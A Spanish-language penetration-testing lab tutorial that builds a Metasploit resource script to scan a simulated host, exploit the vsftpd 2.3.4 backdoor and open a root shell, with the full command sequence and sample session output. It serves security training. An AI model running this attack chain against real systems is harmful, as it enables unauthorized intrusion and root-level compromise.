Automatizar Ataques con Scripts de Recursos de Metasploit

Kali LinuxBeginner
Practicar Ahora

Introducción

Bienvenido a este laboratorio sobre la automatización de ataques con scripts de recursos de Metasploit. Metasploit Framework es una herramienta potente para las pruebas de penetración, pero escribir comandos manualmente para cada compromiso puede ser repetitivo y consumir mucho tiempo. Los scripts de recursos, que son archivos de texto simples con extensión .rc, le permiten automatizar estas secuencias de comandos.

En este laboratorio, aprenderá a crear un script de recursos para automatizar una cadena de ataque completa contra un servicio vulnerable. Esto incluye la configuración de un espacio de trabajo (workspace), el escaneo del objetivo, la selección de un exploit, su configuración y el lanzamiento del ataque. Al final de este laboratorio, podrá crear sus propios scripts para optimizar sus flujos de trabajo de pruebas de penetración.

Para este laboratorio, nos dirigiremos a una máquina vulnerable simulada. Asuma que la dirección IP de la máquina objetivo es 10.0.2.15.

Crear un nuevo archivo con extensión .rc

En este paso, creará el archivo del script de recursos. Un script de recursos de Metasploit es simplemente un archivo de texto que contiene una lista de comandos de msfconsole que se ejecutan secuencialmente. Por convención, estos archivos tienen la extensión .rc.

Utilizaremos el editor de texto nano para crear un archivo llamado attack.rc en el directorio predeterminado ~/project.

Abra su terminal y ejecute el siguiente comando para crear y abrir el nuevo archivo:

nano attack.rc

Este comando abrirá un archivo vacío en el editor nano. Por ahora, simplemente guarde el archivo vacío y salga del editor presionando Ctrl+X, luego Y, y finalmente Enter. Ahora ha creado el archivo del script de recursos que llenará en los próximos pasos.

Añadir una secuencia de comandos de msfconsole al archivo

En este paso, añadirá los comandos iniciales a su script de recursos. Estos comandos configurarán un espacio de trabajo (workspace) dedicado para nuestra prueba y ejecutarán un escaneo básico de Nmap para recopilar información sobre el objetivo. Organizar el trabajo en espacios de trabajo es una buena práctica en Metasploit.

Primero, abra el archivo attack.rc nuevamente usando nano:

nano attack.rc

Ahora, añada las siguientes líneas al archivo. El primer comando crea un nuevo espacio de trabajo llamado vsftpd_lab, y el segundo comando ejecuta un escaneo de Nmap contra nuestro objetivo (10.0.2.15) y guarda los resultados en la base de datos.

workspace -a vsftpd_lab
db_nmap -A 10.0.2.15

Después de añadir estas dos líneas, su archivo attack.rc debería verse exactamente así. Guarde el archivo y salga de nano presionando Ctrl+X, Y, y Enter.

Incluir comandos para usar un exploit, establecer opciones y ejecutar

En este paso, añadirá los comandos principales de ataque al script. Nos dirigiremos a una vulnerabilidad conocida en el servidor VSFTPD, específicamente el exploit vsftpd_234_backdoor. Añadirá comandos para seleccionar este exploit, establecer la opción de objetivo requerida y, finalmente, ejecutarlo.

Abra el archivo attack.rc nuevamente con nano:

nano attack.rc

Anexe los siguientes comandos al final del archivo. Estos comandos instruyen a Metasploit para:

  1. use exploit/unix/ftp/vsftpd_234_backdoor: Seleccionar el módulo de exploit específico.
  2. set RHOSTS 10.0.2.15: Establecer la opción RHOSTS (Remote Hosts) a la dirección IP de nuestro objetivo.
  3. exploit: Lanzar el ataque.
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit

Después de añadir estas líneas, su archivo attack.rc completo ahora debería contener los siguientes cinco comandos:

workspace -a vsftpd_lab
db_nmap -A 10.0.2.15
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit

Guarde los cambios y salga del editor nano (Ctrl+X, Y, Enter). Su script de ataque automatizado está ahora completo.

Iniciar msfconsole con la bandera -r para ejecutar el script

En este paso, ejecutará el script de recursos que acaba de crear. La consola de Metasploit, msfconsole, se puede iniciar con la bandera -r seguida de la ruta a un script de recursos. Esto le indica a Metasploit que ejecute los comandos del archivo especificado al iniciar.

Asegúrese de estar en el directorio ~/project donde se encuentra su archivo attack.rc. Ahora, ejecute el siguiente comando en su terminal:

msfconsole -r attack.rc

Este comando iniciará el Metasploit Framework. En lugar de presentarle inmediatamente el prompt habitual msf6 >, comenzará a ejecutar cada comando de attack.rc uno por uno.

Observar la ejecución automatizada de la cadena de ataque

En este paso final, observará los resultados de su script automatizado. A medida que msfconsole se ejecuta, verá la salida de cada comando en su archivo attack.rc. Verá cómo se crea el espacio de trabajo (workspace), se ejecuta el escaneo Nmap, se configura el exploit y, finalmente, se lanza el ataque.

Si el ataque tiene éxito, Metasploit abrirá una sesión de shell de comandos en la máquina objetivo. Verá un mensaje similar a este:

[*] Found shell.
[*] Command shell session 1 opened (10.0.2.4:42931 -> 10.0.2.15:6200) at 2023-10-27 10:30:00 -0400

Ahora se encuentra en un shell en el objetivo comprometido. Para verificarlo, puede ejecutar un comando como whoami para ver con qué usuario está ejecutando.

whoami

La salida esperada debería ser:

root

Esto confirma que su script automatizado ha comprometido con éxito el objetivo y ha obtenido acceso root.

Para limpiar, escriba exit para cerrar la sesión del shell de comandos y luego escriba exit nuevamente para salir de msfconsole.

Resumen

En este laboratorio, ha aprendido con éxito a automatizar un flujo de trabajo de pruebas de penetración utilizando scripts de recursos de Metasploit.

Comenzó creando un archivo de script de recursos (attack.rc). Luego, lo pobló con una secuencia de comandos de msfconsole para realizar una cadena de ataque completa: crear un espacio de trabajo (workspace), escanear el objetivo, seleccionar y configurar un exploit, y finalmente lanzar el ataque. Aprendió a ejecutar este script utilizando el comando msfconsole -r y observó la ejecución automatizada.

Esta habilidad es invaluable para ahorrar tiempo y garantizar la coherencia en sus evaluaciones de seguridad. Ahora puede crear scripts más complejos para automatizar diversas tareas repetitivas en sus futuros compromisos.